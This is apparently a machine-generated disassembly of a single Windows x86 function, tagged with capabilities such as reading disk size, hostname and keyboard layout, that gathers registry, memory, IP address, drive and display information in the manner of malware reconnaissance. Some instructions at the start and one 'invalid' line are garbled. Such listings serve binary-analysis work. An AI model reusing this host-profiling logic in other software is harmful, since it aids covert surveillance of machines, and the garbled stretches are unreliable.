Function at 0x451253
Capabilities:
Get disk information
Get disk size
Get hostname
Get keyboard layout
Initialize winsock library
Resolve dns

Disassembly:
sti
dec dword [ebp + 0x2ce8f455]
insb byte es:[edi], dx
sti
dec dword [ebx - 0x5b170bbb]
cmp bh, bl
inc dword [ebx + 0x1b7d03f8]
push 0
push 0x100000
call fcn.00408684
call fcn.0040532c
push edx
push eax
lea eax, [ebp - 0xc]
call fcn.004079c4
mov eax, esi
mov edx, 0x4523f4
call fcn.004045b8
push dword [ebp - 0x14]
push 0x45249c
push dword [ebp - 0xc]
push 0x452094
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.004048e4
push dword [edi]
push 0x4524ac
push 0x4524b8
push dword [ebp - 0xc]
push 0x4524c8
push 0x451e24
push 0x4524d8
mov eax, dword [0x465198]
push eax
push 0x400
lea eax, [ebp - 0x5d8]
push eax
mov ecx, 0x4524f4
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.00408e9c
push dword [ebp - 0x5d8]
push 0x451e24
push 0x452510
mov eax, dword [0x465198]
push eax
push 0x400
lea eax, [ebp - 0x5dc]
push eax
mov ecx, 0x452528
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.00408e9c
push dword [ebp - 0x5dc]
push 0x451e24
push 0x45253c
mov eax, dword [0x465198]
push eax
push 0x400
lea eax, [ebp - 0x5e0]
push eax
mov ecx, 0x452550
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.00408e9c
push dword [ebp - 0x5e0]
push 0x451e24
push 0x45256c
mov eax, dword [0x465198]
push eax
push 0x400
lea eax, [ebp - 0x5e4]
push eax
mov ecx, 0x452584
mov edx, dword [ebp - 4]
mov eax, 0x80000002
call fcn.00408e9c
push dword [ebp - 0x5e4]
push 0x451e24
push 0x4525a0
mov eax, dword [0x465198]
push eax
push 0x400
lea eax, [ebp - 0x5e8]
push eax
mov ecx, 0x4525b4
mov edx, dword [ebp - 4]
mov eax, 0x80000002
call fcn.00408e9c
push dword [ebp - 0x5e8]
push 0x451e24
push 0x4525cc
mov eax, dword [0x465198]
push eax
push 0x400
lea eax, [ebp - 0x5ec]
push eax
mov ecx, 0x4525ec
mov edx, dword [ebp - 4]
mov eax, 0x80000002
call fcn.00408e9c
push dword [ebp - 0x5ec]
push 0x451e24
push 0x452608
mov eax, dword [0x465198]
push eax
push 0x400
lea eax, [ebp - 0x5f0]
push eax
mov ecx, 0x452624
mov edx, dword [ebp - 4]
mov eax, 0x80000002
call fcn.00408e9c
push dword [ebp - 0x5f0]
push 0x451e24
mov eax, edi
mov edx, 0x1b
call fcn.004048e4
mov eax, esi
mov edx, 0x45263c
call fcn.004045b8
lea eax, [ebp - 4]
mov edx, 0x452684
call fcn.004045fc
xor eax, eax
mov dword [ebp - 0x20], eax
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 0x20]
call fcn.004079a4
mov eax, dword [0x465198]
push eax
push 0x400
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x5f4]
mov ecx, dword [ebp - 0x10]
mov edx, 0x452694
call fcn.00404870
mov ecx, dword [ebp - 0x5f4]
mov edx, 0x4526ac
mov eax, 0x80000002
call fcn.00408e9c
mov eax, dword [ebp - 0xc]
call fcn.00404824
test eax, eax
jle 0x450fdf
push dword [edi]
push dword [ebp - 4]
push dword [ebp - 0xc]
push 0x451e24
mov eax, edi
mov edx, 4
call fcn.004048e4
mov eax, dword [0x465198]
push eax
push 0x400
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x5f8]
mov ecx, dword [ebp - 0x10]
mov edx, 0x4526d4
call fcn.00404870
mov ecx, dword [ebp - 0x5f8]
mov edx, 0x4526f0
mov eax, 0x80000002
call fcn.00408e9c
mov eax, dword [ebp - 0xc]
call fcn.00404824
test eax, eax
jle 0x45103b
push dword [edi]
push dword [ebp - 4]
push dword [ebp - 0xc]
push 0x451e24
mov eax, edi
mov edx, 4
call fcn.004048e4
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 7
jne 0x450f78
mov eax, esi
mov edx, 0x45271c
call fcn.004045b8
mov eax, dword [0x465198]
push eax
mov ecx, 0x45276c
mov edx, 0x452784
mov eax, 0x80000002
call fcn.00408de8
lea edx, [ebp - 0x10]
call fcn.004079a4
mov eax, esi
mov edx, 0x4527cc
call fcn.004045b8
mov eax, dword [ebp - 0x10]
call fcn.00404824
test eax, eax
jle 0x4510a8
push 0x452838
push dword [ebp - 0x10]
push 0x451e24
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.004048e4
mov dword [ebp - 0x5b8], 0x20
lea eax, [ebp - 0x5b8]
push eax
call sub.kernel32.dll_GlobalMemoryStatus
mov eax, esi
mov edx, 0x452850
call fcn.004045b8
mov eax, dword [ebp - 0x5b0]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 4]
call fcn.004079c4
push dword [ebp - 0x14]
push 0x4528e4
push dword [ebp - 4]
push 0x452094
push dword [0x467048]
push 0x452094
lea eax, [ebp - 0x14]
mov edx, 6
call fcn.004048e4
push dword [edi]
push 0x4524ac
push 0x4528f4
push 0x451e24
push 0x452908
push dword [ebp - 4]
push 0x452920
push 0x451e24
push 0x45292c
mov eax, dword [ebp - 0x5b4]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5fc]
call fcn.004079c4
push dword [ebp - 0x5fc]
push 0x45293c
push 0x451e24
push 0x452948
mov eax, dword [ebp - 0x5ac]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x600]
call fcn.004079c4
push dword [ebp - 0x600]
push 0x452920
push 0x451e24
push 0x4524ac
push 0x452960
push 0x451e24
push 0x452974
mov eax, dword [ebp - 0x5a8]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x604]
call fcn.004079c4
push dword [ebp - 0x604]
push 0x452920
push 0x451e24
push 0x452988
mov eax, dword [ebp - 0x5a4]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x608]
call fcn.004079c4
push dword [ebp - 0x608]
push 0x452920
push 0x451e24
push 0x45299c
mov eax, dword [ebp - 0x5a0]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x60c]
call fcn.004079c4
push dword [ebp - 0x60c]
push 0x452920
push 0x451e24
push 0x4529b4
mov eax, dword [ebp - 0x59c]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x610]
call fcn.004079c4
push dword [ebp - 0x610]
push 0x452920
push 0x451e24
push 0x451e24
push 0x4529cc
push dword [0x467058]
invalid
push 0x451e24
push dword [ebp - 0x10]
mov eax, edi
mov edx, 0x28
call fcn.004048e4
lea eax, [ebp - 0x274]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
push 0xff
lea eax, [ebp - 0x577]
push eax
call sub.wsock32.dll_gethostname
lea eax, [ebp - 0x577]
push eax
call sub.wsock32.dll_gethostbyname
mov ebx, eax
mov eax, dword [ebx + 0xc]
mov eax, dword [eax]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
lea eax, [ebp - 4]
call fcn.0040475c
push dword [edi]
push 0x4529dc
push dword [ebp - 4]
mov eax, edi
mov edx, 3
call fcn.004048e4
push dword [ebp - 0x14]
push 0x4529f0
push dword [ebp - 4]
push 0x452094
push 0x4529fc
lea eax, [ebp - 0x14]
mov edx, 5
call fcn.004048e4
call sub.wsock32.dll_WSACleanup
push dword [edi]
push 0x451e24
push 0x451e24
push 0x452a0c
push 0x451e24
mov eax, edi
mov edx, 5
call fcn.004048e4
mov eax, esi
mov edx, 0x452a24
call fcn.004045b8
mov bl, 0x42
mov eax, esi
mov edx, 0x452ab8
call fcn.004045b8
lea eax, [ebp - 0x614]
mov edx, ebx
call fcn.0040474c
mov edx, dword [ebp - 0x614]
lea eax, [ebp - 0x1c]
mov ecx, 0x452b18
call fcn.00404870
mov eax, dword [ebp - 0x1c]
call fcn.00404a24
push eax
call sub.kernel32.dll_GetDriveTypeA
cmp eax, 6
ja case.0x45135e.0
jmp dword [eax*4 + 0x451365]
mov eax, esi
mov edx, 0x452b24
call fcn.004045b8
lea eax, [ebp - 4]
mov edx, 0x452b7c
call fcn.004045fc
lea eax, [ebp - 8]
mov edx, 0x452b90
call fcn.004045fc
jmp 0x451482
mov eax, esi
mov edx, 0x452850
call fcn.004045b8
lea eax, [ebp - 4]
mov edx, 0x452b9c
call fcn.004045fc
lea eax, [ebp - 8]
mov edx, 0x452bac
call fcn.004045fc
jmp 0x451482
mov eax, esi
mov edx, 0x452bb8
call fcn.004045b8
lea eax, [ebp - 4]
mov edx, 0x452c70
call fcn.004045fc
lea eax, [ebp - 8]
mov edx, 0x452c80
call fcn.004045fc
mov eax, esi
mov edx, 0x451e30
call fcn.004045b8
jmp 0x451482
lea eax, [ebp - 4]
mov edx, 0x452c90
call fcn.004045fc
lea eax, [ebp - 8]
mov edx, 0x452ca0
call fcn.004045fc
mov eax, esi
mov edx, 0x4521dc
call fcn.004045b8
push dword [edi]
push 0x451e24
push 0x4524ac
push dword [ebp - 0x1c]
push dword [ebp - 4]
push 0x451e24
mov eax, edi
mov edx, 6
call fcn.004048e4
lea eax, [ebp - 4]
call fcn.00404564
jmp 0x451482
lea eax, [ebp - 4]
mov edx, 0x452cac
call fcn.004045fc
lea eax, [ebp - 8]
mov edx, 0x452cbc
call fcn.004045fc
jmp 0x451482
lea eax, [ebp - 4]
call fcn.00404564
mov eax, esi
mov edx, 0x452cd0
call fcn.004045b8
mov eax, dword [ebp - 4]
call fcn.00404824
dec eax
jl 0x4516d1
push dword [ebp - 0x14]
lea eax, [ebp - 0x618]
mov edx, ebx
call fcn.0040474c
push dword [ebp - 0x618]
push 0x452da0
push dword [ebp - 8]
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.004048e4
push dword [edi]
push 0x4524ac
push dword [ebp - 0x1c]
push 0x451e24
push 0x452dac
push dword [ebp - 4]
push 0x451e24
mov eax, edi
mov edx, 7
call fcn.004048e4
mov eax, esi
mov edx, 0x452dbc
call fcn.004045b8
push 0x64
lea eax, [ebp - 0x47c]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x24]
push eax
push 0x104
lea eax, [ebp - 0x378]
push eax
mov eax, dword [ebp - 0x1c]
call fcn.00404a24
push eax
call sub.kernel32.dll_GetVolumeInformationA
test eax, eax
je 0x4515f3
push dword [edi]
push 0x452e08
lea eax, [ebp - 0x61c]
lea edx, [ebp - 0x378]
mov ecx, 0x104
call fcn.004047d4
push dword [ebp - 0x61c]
push 0x451e24
push 0x452e18
lea eax, [ebp - 0x620]
lea edx, [ebp - 0x47c]
mov ecx, 0x104
call fcn.004047d4
push dword [ebp - 0x620]
push 0x451e24
push 0x452e28
mov eax, dword [ebp - 0x24]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x624]
call fcn.004079c4
push dword [ebp - 0x624]
push 0x451e24
push 0x452e38
mov eax, dword [ebp - 0x28]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x628]
call fcn.004079c4
push dword [ebp - 0x628]
push 0x451e24
push 0x452e4c
mov eax, dword [ebp - 0x2c]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x62c]
call fcn.004079c4
push dword [ebp - 0x62c]
push 0x451e24
mov eax, edi
mov edx, 0x10
call fcn.004048e4
mov eax, esi
mov edx, 0x452e5c
call fcn.004045b8
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x38]
push eax
mov eax, dword [ebp - 0x1c]
call fcn.00404a24
push eax
call sub.kernel32.dll_GetDiskFreeSpaceExA
test eax, eax
je 0x4516d1
push dword [edi]
push 0x452e8c
push 0
push 0x100000
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
call fcn.0040532c
push edx
push eax
lea eax, [ebp - 0x630]
call fcn.004079c4
push dword [ebp - 0x630]
push 0x452920
push 0x451e24
push 0x452e9c
push 0
push 0x100000
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
call fcn.0040532c
push edx
push eax
lea eax, [ebp - 0x634]
call fcn.004079c4
push dword [ebp - 0x634]
push 0x452920
push 0x451e24
push 0x452eac
push 0
push 0x100000
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x48]
sbb edx, dword [ebp - 0x44]
call fcn.0040532c
push edx
push eax
lea eax, [ebp - 0x638]
call fcn.004079c4
push dword [ebp - 0x638]
push 0x452920
push 0x451e24
mov eax, edi
mov edx, 0xd
call fcn.004048e4
inc ebx
cmp bl, 0x5b
jne 0x45131b
push 0
push 0
push 0
push 0x452eb4
call sub.gdi32.dll_CreateDCA
mov ebx, eax
push 8
push ebx
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 4]
call fcn.004079a4
mov eax, esi
mov edx, 0x452ec4
call fcn.004045b8
push 0xa
push ebx
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 8]
call fcn.004079a4
push 0x74
push ebx
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 0xc]
call fcn.004079a4
mov eax, esi
mov edx, 0x452f44
call fcn.004045b8
push 0xc
push ebx
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 0x10]
call fcn.004079a4
push ebx
call sub.gdi32.dll_DeleteDC
push dword [edi]
push 0x4524ac
push 0x452ff8
push 0x451e24
push 0x45300c